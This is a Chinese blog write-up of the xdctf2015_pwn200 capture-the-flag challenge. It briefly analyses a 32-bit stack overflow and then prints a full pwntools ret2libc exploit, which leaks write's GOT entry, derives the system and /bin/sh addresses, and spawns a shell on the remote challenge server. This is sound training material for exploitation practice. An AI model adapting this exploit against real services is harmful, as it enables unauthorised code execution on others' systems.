xdctf2015_pwn200

最新推荐文章于 2022-03-03 19:08:39 发布

原创最新推荐文章于 2022-03-03 19:08:39 发布 · 1.8k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #网络安全 #安全

BUU-PWN 专栏收录该内容

58 篇文章

订阅专栏

这篇博客讲述了作者通过checksec和IDA工具分析，发现了一个简单的栈溢出漏洞。通过构造payload，成功利用write地址泄漏libc，并进一步利用system调用执行shell。详细步骤包括设置payload、远程连接、利用ELF和got表进行攻击，最终实现交互式控制台。

xdctf2015_pwn200.py

使用checksec查看：
在这里插入图片描述
只开启了栈溢出。

拉进IDA中查看：
在这里插入图片描述
main()中直接给出了漏洞函数，跟进查看：

一个简单明了的栈溢出。距离ebp0x6c

用write()函数泄露libc。

exp：

from pwn  import *

#start 
r = remote("node4.buuoj.cn",27929)
# r = process("../buu/xdctf2015_pwn200")
elf = ELF("../buu/xdctf2015_pwn200")
libc = ELF("../buu/ubuntu16(32).so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack
payload = b'M'*(0x6c+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.recv()
r.sendline(payload)
write_addr = u32(r.recv(4))

#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b"/bin/sh"))

#attack2
payload = b'M'*(0x6c+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.recv()
r.sendline(payload)

r.interactive()